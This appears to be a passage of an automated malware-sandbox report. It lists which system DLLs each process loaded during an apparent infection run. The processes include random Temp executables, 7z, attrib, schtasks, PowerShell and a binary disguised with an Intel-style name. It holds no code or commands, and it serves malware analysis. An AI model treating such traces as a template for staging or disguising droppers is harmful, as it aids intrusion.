Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
